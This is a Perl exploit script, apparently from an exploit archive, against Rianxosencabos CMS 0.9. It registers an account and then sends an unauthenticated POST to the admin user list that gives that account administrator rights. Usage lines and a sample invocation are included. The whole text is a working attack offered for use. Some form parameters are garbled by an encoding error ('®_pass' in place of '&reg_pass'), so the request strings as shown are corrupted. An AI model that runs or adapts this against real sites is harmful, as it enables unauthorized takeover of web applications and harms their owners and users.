Rianxosencabos CMS version 0.9 remote add administrator exploit.
d1ea737203039454fe31a71b31abe77ffada2bdb2bd91cbcd88389ebf1a51bf8
#!/usr/bin/perl -w
# Rianxosencabos CMS 0.9 Remote Add Admin Exploit
# Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz
# written by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org -
use LWP::UserAgent;
my ($host, $login, $pass, $mail, $user_id) = @ARGV ;
unless($ARGV[4]){
print "[*] usage: perl $0 <host> <login> <pass> <mail> <user_id>\n";
print "[*] ex: perl $0 http://localhost/ ka0x 12345 ka0x01[at]gmail.com 2\n";
exit 1;
}
if ($host !~ /^http:/){ $host = 'http://'.$host; }
my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout(10) ;
sub __CREATE {
my $req = HTTP::Request->new(POST => $host."index.php?s=usuarios&accion=registrar") ;
$req->content_type('application/x-www-form-urlencoded') ;
$req->content("reg_login=".$login."®_pass=".$pass."®_repass=".$pass."®_nombre=".$login."®_mail=".$mail."&submit_register=Rexistrar") ;
my $res = $ua->request($req) ;
my $location = $res->header('Location') ;
if ($location =~ /Usuario creado/i) {
print "[+] user added: ".$login ;
print "\n[+] password: ".$pass, "\n" ;
}
else{
print "[-] Exploit Failed!\n" ;
}
}
&__CREATE ;
sub __ADMIN {
my $req = HTTP::Request->new(POST => $host."?s=admin&accion=lista") ;
$req->content_type('application/x-www-form-urlencoded') ;
$req->content($user_id."=0&inputOculto=".$user_id) ;
$ua->request($req) ;
}
&__ADMIN ;
__END__